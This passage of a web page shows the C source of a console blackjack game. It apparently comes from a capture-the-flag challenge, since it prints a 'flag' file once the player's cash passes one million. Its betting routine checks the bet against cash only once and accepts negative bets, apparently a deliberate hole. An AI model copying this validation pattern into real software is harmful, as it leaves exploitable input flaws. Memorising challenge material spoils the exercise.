</span></span><span class="line"><span class="ln">584</span><span class="cl">             <span class="k">while</span><span class="p">((</span><span class="n">choice3</span><span class="o">!=</span><span class="sc">&#39;H&#39;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">choice3</span><span class="o">!=</span><span class="sc">&#39;h&#39;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">choice3</span><span class="o">!=</span><span class="sc">&#39;S&#39;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">choice3</span><span class="o">!=</span><span class="sc">&#39;s&#39;</span><span class="p">))</span> <span class="c1">// If invalid choice entered
</span></span></span><span class="line"><span class="ln">585</span><span class="cl">             <span class="p">{</span>                                                                           
</span></span><span class="line"><span class="ln">586</span><span class="cl">                 <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">587</span><span class="cl">                 <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Please Enter H to Hit or S to Stay.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">588</span><span class="cl">                 <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%c&#34;</span><span class="p">,</span><span class="o">&amp;</span><span class="n">choice3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">589</span><span class="cl">             <span class="p">}</span>
</span></span><span class="line"><span class="ln">590</span><span class="cl"> 
</span></span><span class="line"><span class="ln">591</span><span class="cl">             <span class="k">if</span><span class="p">((</span><span class="n">choice3</span><span class="o">==</span><span class="sc">&#39;H&#39;</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">choice3</span><span class="o">==</span><span class="sc">&#39;h&#39;</span><span class="p">))</span> <span class="c1">// If Hit, continues
</span></span></span><span class="line"><span class="ln">592</span><span class="cl">             <span class="p">{</span> 
</span></span><span class="line"><span class="ln">593</span><span class="cl">                 <span class="nf">randcard</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">594</span><span class="cl">                 <span class="n">player_total</span> <span class="o">=</span> <span class="n">p</span> <span class="o">+</span> <span class="n">l</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">595</span><span class="cl">                 <span class="n">p</span> <span class="o">=</span> <span class="n">player_total</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">596</span><span class="cl">                 <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Your Total is %d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">p</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">597</span><span class="cl">                 <span class="nf">dealer</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">598</span><span class="cl">                  <span class="k">if</span><span class="p">(</span><span class="n">dealer_total</span><span class="o">==</span><span class="mi">21</span><span class="p">)</span> <span class="c1">//Is dealer total is 21, loss
</span></span></span><span class="line"><span class="ln">599</span><span class="cl">                  <span class="p">{</span>
</span></span><span class="line"><span class="ln">600</span><span class="cl">                      <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Dealer Has the Better Hand. You Lose.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">601</span><span class="cl">                      <span class="n">loss</span> <span class="o">=</span> <span class="n">loss</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">602</span><span class="cl">                      <span class="n">cash</span> <span class="o">=</span> <span class="n">cash</span> <span class="o">-</span> <span class="n">bet</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">603</span><span class="cl">                      <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">You have %d Wins and %d Losses. Awesome!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">won</span><span class="p">,</span> <span class="n">loss</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">604</span><span class="cl">                      <span class="n">dealer_total</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">605</span><span class="cl">                      <span class="nf">askover</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">606</span><span class="cl">                  <span class="p">}</span> 
</span></span><span class="line"><span class="ln">607</span><span class="cl">      
</span></span><span class="line"><span class="ln">608</span><span class="cl">                  <span class="k">if</span><span class="p">(</span><span class="n">dealer_total</span><span class="o">&gt;</span><span class="mi">21</span><span class="p">)</span> <span class="c1">//If dealer total is over 21, win
</span></span></span><span class="line"><span class="ln">609</span><span class="cl">                  <span class="p">{</span>                      
</span></span><span class="line"><span class="ln">610</span><span class="cl">                      <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Dealer Has Went Over!. You Win!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">611</span><span class="cl">                      <span class="n">won</span> <span class="o">=</span> <span class="n">won</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">612</span><span class="cl">                      <span class="n">cash</span> <span class="o">=</span> <span class="n">cash</span><span class="o">+</span><span class="n">bet</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">613</span><span class="cl">                      <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">You have %d Wins and %d Losses. Awesome!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">won</span><span class="p">,</span> <span class="n">loss</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">614</span><span class="cl">                      <span class="n">dealer_total</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">615</span><span class="cl">                      <span class="nf">askover</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">616</span><span class="cl">                  <span class="p">}</span>
</span></span><span class="line"><span class="ln">617</span><span class="cl">             <span class="p">}</span>
</span></span><span class="line"><span class="ln">618</span><span class="cl">             <span class="k">if</span><span class="p">((</span><span class="n">choice3</span><span class="o">==</span><span class="sc">&#39;S&#39;</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">choice3</span><span class="o">==</span><span class="sc">&#39;s&#39;</span><span class="p">))</span> <span class="c1">// If Stay, does not continue
</span></span></span><span class="line"><span class="ln">619</span><span class="cl">             <span class="p">{</span>
</span></span><span class="line"><span class="ln">620</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">You Have Chosen to Stay at %d. Wise Decision!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">player_total</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">621</span><span class="cl">                <span class="nf">stay</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">622</span><span class="cl">             <span class="p">}</span>
</span></span><span class="line"><span class="ln">623</span><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="ln">624</span><span class="cl">             <span class="n">i</span><span class="o">++</span><span class="p">;</span> <span class="c1">//While player total and dealer total are less than 21, re-do while loop 
</span></span></span><span class="line"><span class="ln">625</span><span class="cl">     <span class="p">}</span> <span class="c1">// End While Loop
</span></span></span><span class="line"><span class="ln">626</span><span class="cl"><span class="p">}</span> <span class="c1">// End Function
</span></span></span><span class="line"><span class="ln">627</span><span class="cl"> 
</span></span><span class="line"><span class="ln">628</span><span class="cl"><span class="kt">void</span> <span class="nf">dealer</span><span class="p">()</span> <span class="c1">//Function to play for dealer AI
</span></span></span><span class="line"><span class="ln">629</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">630</span><span class="cl">     <span class="kt">int</span> <span class="n">z</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">631</span><span class="cl">      
</span></span><span class="line"><span class="ln">632</span><span class="cl">     <span class="k">if</span><span class="p">(</span><span class="n">dealer_total</span><span class="o">&lt;</span><span class="mi">17</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">633</span><span class="cl">     <span class="p">{</span>
</span></span><span class="line"><span class="ln">634</span><span class="cl">      <span class="nf">srand</span><span class="p">((</span><span class="kt">unsigned</span><span class="p">)</span> <span class="nf">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">//Generates random seed for rand() function
</span></span></span><span class="line"><span class="ln">635</span><span class="cl">      <span class="n">z</span><span class="o">=</span><span class="nf">rand</span><span class="p">()</span><span class="o">%</span><span class="mi">13</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">636</span><span class="cl">      <span class="k">if</span><span class="p">(</span><span class="n">z</span><span class="o">&lt;=</span><span class="mi">10</span><span class="p">)</span> <span class="c1">//If random number generated is 10 or less, keep that value
</span></span></span><span class="line"><span class="ln">637</span><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="ln">638</span><span class="cl">         <span class="n">d</span><span class="o">=</span><span class="n">z</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">639</span><span class="cl">          
</span></span><span class="line"><span class="ln">640</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">641</span><span class="cl">      
</span></span><span class="line"><span class="ln">642</span><span class="cl">      <span class="k">if</span><span class="p">(</span><span class="n">z</span><span class="o">&gt;</span><span class="mi">11</span><span class="p">)</span> <span class="c1">//If random number generated is more than 11, change value to 10
</span></span></span><span class="line"><span class="ln">643</span><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="ln">644</span><span class="cl">         <span class="n">d</span><span class="o">=</span><span class="mi">10</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">645</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">646</span><span class="cl">      
</span></span><span class="line"><span class="ln">647</span><span class="cl">      <span class="k">if</span><span class="p">(</span><span class="n">z</span><span class="o">==</span><span class="mi">11</span><span class="p">)</span> <span class="c1">//If random number is 11(Ace), change value to 11 or 1 depending on dealer total
</span></span></span><span class="line"><span class="ln">648</span><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="ln">649</span><span class="cl">         <span class="k">if</span><span class="p">(</span><span class="n">dealer_total</span><span class="o">&lt;=</span><span class="mi">10</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">650</span><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="ln">651</span><span class="cl">             <span class="n">d</span><span class="o">=</span><span class="mi">11</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">652</span><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="ln">653</span><span class="cl">          
</span></span><span class="line"><span class="ln">654</span><span class="cl">         <span class="k">else</span>
</span></span><span class="line"><span class="ln">655</span><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="ln">656</span><span class="cl">             <span class="n">d</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">657</span><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="ln">658</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">659</span><span class="cl">     <span class="n">dealer_total</span> <span class="o">=</span> <span class="n">dealer_total</span> <span class="o">+</span> <span class="n">d</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">660</span><span class="cl">     <span class="p">}</span>
</span></span><span class="line"><span class="ln">661</span><span class="cl">           
</span></span><span class="line"><span class="ln">662</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">The Dealer Has a Total of %d&#34;</span><span class="p">,</span> <span class="n">dealer_total</span><span class="p">);</span> <span class="c1">//Prints dealer total
</span></span></span><span class="line"><span class="ln">663</span><span class="cl">      
</span></span><span class="line"><span class="ln">664</span><span class="cl"><span class="p">}</span> <span class="c1">// End Function 
</span></span></span><span class="line"><span class="ln">665</span><span class="cl"> 
</span></span><span class="line"><span class="ln">666</span><span class="cl"><span class="kt">void</span> <span class="nf">stay</span><span class="p">()</span> <span class="c1">//Function for when user selects &#39;Stay&#39;
</span></span></span><span class="line"><span class="ln">667</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">668</span><span class="cl">     <span class="nf">dealer</span><span class="p">();</span> <span class="c1">//If stay selected, dealer continues going
</span></span></span><span class="line"><span class="ln">669</span><span class="cl">     <span class="k">if</span><span class="p">(</span><span class="n">dealer_total</span><span class="o">&gt;=</span><span class="mi">17</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">670</span><span class="cl">     <span class="p">{</span>
</span></span><span class="line"><span class="ln">671</span><span class="cl">      <span class="k">if</span><span class="p">(</span><span class="n">player_total</span><span class="o">&gt;=</span><span class="n">dealer_total</span><span class="p">)</span> <span class="c1">//If player&#39;s total is more than dealer&#39;s total, win
</span></span></span><span class="line"><span class="ln">672</span><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="ln">673</span><span class="cl">         <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Unbelievable! You Win!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">674</span><span class="cl">         <span class="n">won</span> <span class="o">=</span> <span class="n">won</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">675</span><span class="cl">         <span class="n">cash</span> <span class="o">=</span> <span class="n">cash</span><span class="o">+</span><span class="n">bet</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">676</span><span class="cl">         <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">You have %d Wins and %d Losses. Awesome!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">won</span><span class="p">,</span> <span class="n">loss</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">677</span><span class="cl">         <span class="n">dealer_total</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">678</span><span class="cl">         <span class="nf">askover</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">679</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">680</span><span class="cl">      <span class="k">if</span><span class="p">(</span><span class="n">player_total</span><span class="o">&lt;</span><span class="n">dealer_total</span><span class="p">)</span> <span class="c1">//If player&#39;s total is less than dealer&#39;s total, loss
</span></span></span><span class="line"><span class="ln">681</span><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="ln">682</span><span class="cl">         <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Dealer Has the Better Hand. You Lose.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">683</span><span class="cl">         <span class="n">loss</span> <span class="o">=</span> <span class="n">loss</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">684</span><span class="cl">         <span class="n">cash</span> <span class="o">=</span> <span class="n">cash</span> <span class="o">-</span> <span class="n">bet</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">685</span><span class="cl">         <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">You have %d Wins and %d Losses. Awesome!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">won</span><span class="p">,</span> <span class="n">loss</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">686</span><span class="cl">         <span class="n">dealer_total</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">687</span><span class="cl">         <span class="nf">askover</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">688</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">689</span><span class="cl">      <span class="k">if</span><span class="p">(</span><span class="n">dealer_total</span><span class="o">&gt;</span><span class="mi">21</span><span class="p">)</span> <span class="c1">//If dealer&#39;s total is more than 21, win
</span></span></span><span class="line"><span class="ln">690</span><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="ln">691</span><span class="cl">         <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Unbelievable! You Win!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">692</span><span class="cl">         <span class="n">won</span> <span class="o">=</span> <span class="n">won</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">693</span><span class="cl">         <span class="n">cash</span> <span class="o">=</span> <span class="n">cash</span><span class="o">+</span><span class="n">bet</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">694</span><span class="cl">         <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">You have %d Wins and %d Losses. Awesome!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">won</span><span class="p">,</span> <span class="n">loss</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">695</span><span class="cl">         <span class="n">dealer_total</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">696</span><span class="cl">         <span class="nf">askover</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">697</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">698</span><span class="cl">     <span class="p">}</span>
</span></span><span class="line"><span class="ln">699</span><span class="cl">     <span class="k">else</span>
</span></span><span class="line"><span class="ln">700</span><span class="cl">     <span class="p">{</span>
</span></span><span class="line"><span class="ln">701</span><span class="cl">         <span class="nf">stay</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">702</span><span class="cl">     <span class="p">}</span>
</span></span><span class="line"><span class="ln">703</span><span class="cl">      
</span></span><span class="line"><span class="ln">704</span><span class="cl"><span class="p">}</span> <span class="c1">// End Function
</span></span></span><span class="line"><span class="ln">705</span><span class="cl"> 
</span></span><span class="line"><span class="ln">706</span><span class="cl"><span class="kt">void</span> <span class="nf">cash_test</span><span class="p">()</span> <span class="c1">//Test for if user has cash remaining in purse
</span></span></span><span class="line"><span class="ln">707</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">708</span><span class="cl">     <span class="k">if</span> <span class="p">(</span><span class="n">cash</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">)</span> <span class="c1">//Once user has zero remaining cash, game ends and prompts user to play again
</span></span></span><span class="line"><span class="ln">709</span><span class="cl">     <span class="p">{</span>
</span></span><span class="line"><span class="ln">710</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;You Are Bankrupt. Game Over&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">711</span><span class="cl">        <span class="n">cash</span> <span class="o">=</span> <span class="mi">500</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">712</span><span class="cl">        <span class="nf">askover</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">713</span><span class="cl">     <span class="p">}</span>
</span></span><span class="line"><span class="ln">714</span><span class="cl">     <span class="k">if</span> <span class="p">(</span><span class="n">cash</span> <span class="o">&gt;</span> <span class="mi">1000000</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">715</span><span class="cl">     	<span class="n">FILE</span><span class="o">*</span> <span class="n">fp</span><span class="o">=</span><span class="nf">fopen</span><span class="p">(</span><span class="s">&#34;flag&#34;</span><span class="p">,</span> <span class="s">&#34;r&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">716</span><span class="cl">	<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">717</span><span class="cl">	<span class="nf">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">718</span><span class="cl">	<span class="nf">fread</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="n">fp</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">719</span><span class="cl">	<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">buf</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">720</span><span class="cl">	<span class="nf">fclose</span><span class="p">(</span><span class="n">fp</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">721</span><span class="cl">     <span class="p">}</span>
</span></span><span class="line"><span class="ln">722</span><span class="cl"><span class="p">}</span> <span class="c1">// End Function
</span></span></span><span class="line"><span class="ln">723</span><span class="cl"> 
</span></span><span class="line"><span class="ln">724</span><span class="cl"><span class="kt">int</span> <span class="nf">betting</span><span class="p">()</span> <span class="c1">//Asks user amount to bet
</span></span></span><span class="line"><span class="ln">725</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">726</span><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n\n</span><span class="s">Enter Bet: $&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">727</span><span class="cl"> <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">bet</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">728</span><span class="cl"> 
</span></span><span class="line"><span class="ln">729</span><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="n">bet</span> <span class="o">&gt;</span> <span class="n">cash</span><span class="p">)</span> <span class="c1">//If player tries to bet more money than player has
</span></span></span><span class="line"><span class="ln">730</span><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="ln">731</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">You cannot bet more money than you have.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">732</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Enter Bet: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">733</span><span class="cl">        <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">bet</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">734</span><span class="cl">        <span class="k">return</span> <span class="n">bet</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">735</span><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="ln">736</span><span class="cl"> <span class="k">else</span> <span class="k">return</span> <span class="n">bet</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">737</span><span class="cl"><span class="p">}</span> <span class="c1">// End Function
</span></span></span><span class="line"><span class="ln">738</span><span class="cl"> 
</span></span><span class="line"><span class="ln">739</span><span class="cl"><span class="kt">void</span> <span class="nf">askover</span><span class="p">()</span> <span class="c1">// Function for asking player if they want to play again
</span></span></span><span class="line"><span class="ln">740</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">741</span><span class="cl">    <span class="kt">char</span> <span class="n">choice1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">742</span><span class="cl">         
</span></span><span class="line"><span class="ln">743</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Would You Like To Play Again?&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">744</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Please Enter Y for Yes or N for No</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">745</span><span class="cl">     <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">%c&#34;</span><span class="p">,</span><span class="o">&amp;</span><span class="n">choice1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">746</span><span class="cl"> 
</span></span><span class="line"><span class="ln">747</span><span class="cl">    <span class="k">while</span><span class="p">((</span><span class="n">choice1</span><span class="o">!=</span><span class="sc">&#39;Y&#39;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">choice1</span><span class="o">!=</span><span class="sc">&#39;y&#39;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">choice1</span><span class="o">!=</span><span class="sc">&#39;N&#39;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">choice1</span><span class="o">!=</span><span class="sc">&#39;n&#39;</span><span class="p">))</span> <span class="c1">// If invalid choice entered
</span></span></span><span class="line"><span class="ln">748</span><span class="cl">    <span class="p">{</span>                                                                           
</span></span><span class="line"><span class="ln">749</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">750</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Incorrect Choice. Please Enter Y for Yes or N for No.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">751</span><span class="cl">        <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%c&#34;</span><span class="p">,</span><span class="o">&amp;</span><span class="n">choice1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">752</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">753</span><span class="cl"> 
</span></span><span class="line"><span class="ln">754</span><span class="cl"> 
</span></span><span class="line"><span class="ln">755</span><span class="cl">    <span class="k">if</span><span class="p">((</span><span class="n">choice1</span> <span class="o">==</span> <span class="sc">&#39;Y&#39;</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">choice1</span> <span class="o">==</span> <span class="sc">&#39;y&#39;</span><span class="p">))</span> <span class="c1">// If yes, continue.
</span></span></span><span class="line"><span class="ln">756</span><span class="cl">    <span class="p">{</span> 
</span></span><span class="line"><span class="ln">757</span><span class="cl">            <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\033</span><span class="s">[2J</span><span class="se">\033</span><span class="s">[1;1H&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">758</span><span class="cl">            <span class="nf">play</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">759</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">760</span><span class="cl">  
</span></span><span class="line"><span class="ln">761</span><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">((</span><span class="n">choice1</span> <span class="o">==</span> <span class="sc">&#39;N&#39;</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">choice1</span> <span class="o">==</span> <span class="sc">&#39;n&#39;</span><span class="p">))</span> <span class="c1">// If no, exit program
</span></span></span><span class="line"><span class="ln">762</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">763</span><span class="cl">        <span class="nf">fileresults</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">764</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">BYE!!!!</span><span class="se">\n\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">765</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\033</span><span class="s">[2J</span><span class="se">\033</span><span class="s">[1;1H&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">766</span><span class="cl">        <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">767</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">768</span><span class="cl">    <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">769</span><span class="cl"><span class="p">}</span> <span class="c1">// End function
</span></span></span><span class="line"><span class="ln">770</span><span class="cl"> 
</span></span><span class="line"><span class="ln">771</span><span class="cl"><span class="kt">void</span> <span class="nf">fileresults</span><span class="p">()</span> <span class="c1">//Prints results into Blackjack.txt file in program directory
</span></span></span><span class="line"><span class="ln">772</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">773</span><span class="cl">     <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">774</span><span class="cl"><span class="p">}</span> <span class="c1">// End Function
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
